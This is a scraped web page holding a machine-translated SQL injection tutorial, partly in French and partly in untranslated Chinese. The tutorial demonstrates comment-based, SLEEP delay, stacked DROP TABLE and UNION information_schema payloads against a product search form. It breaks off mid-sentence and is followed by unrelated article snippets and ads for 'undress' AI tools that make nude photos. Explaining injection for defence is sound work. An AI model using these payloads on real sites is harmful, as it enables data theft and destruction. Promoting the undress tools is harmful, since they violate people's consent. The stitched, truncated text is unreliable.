Comprendre rapidement les principes de base de l'injection SQL
Principes de base de l'injection SQL
La technologie WEB se développe chaque jour qui passe, mais l'art traditionnel consistant à épeler SQL à mains nues est toujours privilégié par de nombreux développeurs. Après tout, comparé à l’apprentissage d’un ensemble complexe de règles ORM, le faire à la main est plus pratique et intuitif. Habituellement, les gens qui écrivent du SQL eux-mêmes doivent avoir entendu dire que l'injection SQL est dangereuse, mais ils se disent toujours : mon instruction SQL est si simple qu'elle ne peut pas être injectée.
Prenez 5 minutes pour lire cet exemple complet, et vous ne devriez plus jamais oser prendre de risques à partir de maintenant.
Scène simple
Il existe une interface WEB qui permet de saisir les noms de produits et affiche les informations correspondantes sur le prix, la date de production et le lieu de production. Par exemple, saisissez Hammer pour afficher :
产品 | 价格 | 生产地 | 生产日期 |
---|---|---|---|
Claw Hammer | 12.98 | American | 2019.11.07 |
Club Hammer | 29.98 | Canada | 2019.11.11 |
Nous ignorons le processus de création d'une interface de recherche Web et nous concentrons directement sur la partie clé : Injection SQL.
Si vous souhaitez implémenter la fonction ci-dessus, alors nous pouvons à peu près deviner que l'instruction SQL utilisée par le serveur est la suivante :
SELECT ? FROM ? WHERE ? LIKE '%Hammer%';
où signifie que nous ne connaissons actuellement pas le spécifique nom de la table et nom du champ, et ce SQL est unique. Ce qui peut être manipulé, c'est le contenu d'entrée entre guillemets simples '%Hammer%'. Si nous saisissons directement un guillemet simple dans le champ de recherche. Autrement dit, cela devient
select ? from ? where ? Like '%'%';
Cet épissage provoquera une erreur de syntaxe SQL et aucun résultat ne sera obtenu. Nous devons utiliser --
pour commenter le dernier guillemet simple.
select ? from ? where ? Like '%'; -- %';
--
est suivi du contenu de l'annotation (vous pouvez également utiliser #
), afin que vous puissiez obtenir toutes les informations sur le produit. Jusqu'à présent, il n'y a toujours aucun signal de danger.
产品 | 价格 | 生产地 | 生产日期 |
---|---|---|---|
Claw Hammer | 12.98 | American | 2019.11.07 |
Club Hammer | 29.98 | Canada | 2019.11.11 |
Paring Knife | 10.98 | China | 2019.11.11 |
Boning Knife | 19.98 | China | 2019.01.01 |
Essayez-le et
Conservez la partie guillemet simple extensible à l'étape précédente. Essayons une simple instruction de délai :
select ? from ? where ? Like '%Hammer%' and 1 = SLEEP(2); -- %';
À ce stade, la requête prendra 2 secondes pour renvoyer le résultat. Si le délai est prolongé, utilisez le script pour interroger plusieurs fois, et le pool de connexions à la base de données peut être. restauré en une seule fois.
Bien sûr, il y en a des encore plus destructeurs !
select ? from ? where ? Like '%Hammer%'; drop table xxxx; -- %';
Vous pouvez supprimer la table/base de données directement. Quant à savoir quelles tables se trouvent dans la base de données (c'est-à-dire comment déterminer xxxx dans la phrase SQL précédente) ?
Faites ce que vous voulez avec union
Nous devons savoir quelles tables contient cette base de données ! Ce n'est qu'ainsi que vous pourrez obtenir des informations utiles.
Vous pouvez utiliser union pour rassembler le contenu de différentes tables. Essayez-le :
select ?,?,?,? from ? where ? Like '%Hammer%' UNION (select 1,2,3,4 from dual); -- %';
产品 | 价格 | 生产地 | 生产日期 |
---|---|---|---|
Claw Hammer | 12.98 | American | 2019.11.07 |
Club Hammer | 29.98 | Canada | 2019.11.11 |
1 | 2 | 3 | 4 |
可以看到我们把假数据1,2,3,4成功地拼接到搜索结果中。
Mysql系统自带的信息都存在information_schema数据库中。我们试着在里面找找有用的信息。
select ? from ? where ? Like '%Hammer%' UNION (select TABLE_NAME,TABLE_SCHEMA,3,4 from information_schema.tables); -- %';
产品 | 价格 | 生产地 | 生产日期 |
---|---|---|---|
Claw Hammer | 12.98 | American | 2019.11.07 |
Club Hammer | 29.98 | Canada | 2019.11.11 |
authors | hawkeye | 3 | 4 |
products | hawkeye | 3 | 4 |
user | hawkeye | 3 | 4 |
.... | .... | 3 | 4 |
现在知道了这些数据库名和表名,所有人都对它为所欲为了!(包括上面执行的DROP)。
看着列表一猜就能知道我们目前查的是products表,接下来我们再把products具体的字段也挖出来。
select ? from ? where ? Like '%Hammer%' UNION (select COLUMN_NAME,TABLE_SCHEMA,3,4 from imformation_schema.columns where table_name = 'products'); -- %';
产品 | 价格 | 生产地 | 生产日期 |
---|---|---|---|
Claw Hammer | 12.98 | American | 2019.11.07 |
Club Hammer | 29.98 | Canada | 2019.11.11 |
id | hawkeye | 3 | 4 |
name | hawkeye | 3 | 4 |
price | hawkeye | 3 | 4 |
address | hawkeye | 3 | 4 |
updated_at | hawkeye | 3 | 4 |
所以,通过上面2步,我们知道了表名和字段名,那么查询API的完整SQL应该是(把上面的?都补全啦):
select name,price,address,updated_at from products where name like '%Hammer%';
通过不断重复以上几个步骤,你就可以通过这一个小小的入口把数据库的所有信息(比如上面发现的user表
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Outils d'IA chauds

Undresser.AI Undress
Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover
Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool
Images de déshabillage gratuites

Clothoff.io
Dissolvant de vêtements AI

Video Face Swap
Échangez les visages dans n'importe quelle vidéo sans effort grâce à notre outil d'échange de visage AI entièrement gratuit !

Article chaud

Outils chauds

Bloc-notes++7.3.1
Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise
Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1
Puissant environnement de développement intégré PHP

Dreamweaver CS6
Outils de développement Web visuel

SublimeText3 version Mac
Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Sujets chauds





Analyse du rôle et du principe de nohup Dans les systèmes d'exploitation Unix et de type Unix, nohup est une commande couramment utilisée pour exécuter des commandes en arrière-plan. Même si l'utilisateur quitte la session en cours ou ferme la fenêtre du terminal, la commande peut. continuent toujours à être exécutés. Dans cet article, nous analyserons en détail la fonction et le principe de la commande nohup. 1. Le rôle de nohup : Exécuter des commandes en arrière-plan : Grâce à la commande nohup, nous pouvons laisser les commandes de longue durée continuer à s'exécuter en arrière-plan sans être affectées par la sortie de l'utilisateur de la session du terminal. Cela doit être exécuté

Analyse des principes et exploration pratique du framework Struts. En tant que framework MVC couramment utilisé dans le développement JavaWeb, le framework Struts a de bons modèles de conception et une bonne évolutivité et est largement utilisé dans le développement d'applications au niveau de l'entreprise. Cet article analysera les principes du framework Struts et l'explorera avec des exemples de code réels pour aider les lecteurs à mieux comprendre et appliquer le framework. 1. Analyse des principes du framework Struts 1. Architecture MVC Le framework Struts est basé sur MVC (Model-View-Con

MyBatis est un framework de couche de persistance Java populaire qui est largement utilisé dans divers projets Java. Parmi elles, l'insertion par lots est une opération courante qui peut améliorer efficacement les performances des opérations de base de données. Cet article explorera en profondeur le principe de mise en œuvre de l'insertion par lots dans MyBatis et l'analysera en détail avec des exemples de code spécifiques. Insertion par lots dans MyBatis Dans MyBatis, les opérations d'insertion par lots sont généralement implémentées à l'aide de SQL dynamique. En construisant un S contenant plusieurs valeurs insérées

L'outil RPM (RedHatPackageManager) dans les systèmes Linux est un outil puissant pour installer, mettre à niveau, désinstaller et gérer les packages logiciels système. Il s'agit d'un outil de gestion de progiciels couramment utilisé dans les systèmes RedHatLinux et est également utilisé par de nombreuses autres distributions Linux. Le rôle de l'outil RPM est très important. Il permet aux administrateurs système et aux utilisateurs de gérer facilement les progiciels sur le système. Grâce à RPM, les utilisateurs peuvent facilement installer de nouveaux progiciels et mettre à niveau les logiciels existants.

Notes de développement de Laravel : méthodes et techniques pour empêcher l'injection SQL Avec le développement d'Internet et les progrès continus de la technologie informatique, le développement d'applications Web est devenu de plus en plus courant. Au cours du processus de développement, la sécurité a toujours été une question importante que les développeurs ne peuvent ignorer. Parmi eux, la prévention des attaques par injection SQL est l’un des problèmes de sécurité qui nécessite une attention particulière lors du processus de développement. Cet article présentera plusieurs méthodes et techniques couramment utilisées dans le développement de Laravel pour aider les développeurs à prévenir efficacement l'injection SQL. Utilisation de la liaison de paramètres La liaison de paramètres est Lar

MyBatis est un excellent framework de couche de persistance. Il prend en charge les opérations de base de données basées sur XML et les annotations. Il est simple et facile à utiliser. Il fournit également un mécanisme de plug-in riche. Parmi eux, le plug-in de pagination est l'un des plug-ins les plus fréquemment utilisés. Cet article approfondira les principes du plug-in de pagination MyBatis et l'illustrera avec des exemples de code spécifiques. 1. Principe du plug-in de pagination MyBatis lui-même ne fournit pas de fonction de pagination native, mais vous pouvez utiliser des plug-ins pour implémenter des requêtes de pagination. Le principe du plug-in de pagination est principalement d'intercepter MyBatis

La commande chage dans le système Linux est une commande utilisée pour modifier la date d'expiration du mot de passe d'un compte utilisateur. Elle peut également être utilisée pour modifier la date d'utilisation la plus longue et la plus courte du compte. Cette commande joue un rôle très important dans la gestion de la sécurité des comptes utilisateur. Elle peut contrôler efficacement la période d'utilisation des mots de passe utilisateur et améliorer la sécurité du système. Comment utiliser la commande chage : La syntaxe de base de la commande chage est : chage [option] nom d'utilisateur Par exemple, pour modifier la date d'expiration du mot de passe de l'utilisateur "testuser", vous pouvez utiliser la commande suivante.

Les principes de base et les méthodes d'implémentation des méthodes d'héritage Golang Dans Golang, l'héritage est l'une des caractéristiques importantes de la programmation orientée objet. Grâce à l'héritage, nous pouvons utiliser les propriétés et les méthodes de la classe parent pour obtenir la réutilisation et l'extensibilité du code. Cet article présentera les principes de base et les méthodes d'implémentation des méthodes d'héritage Golang, et fournira des exemples de code spécifiques. Le principe de base des méthodes d'héritage Dans Golang, l'héritage est implémenté en intégrant des structures. Lorsqu'une structure est incorporée dans une autre structure, la structure incorporée a été incorporée
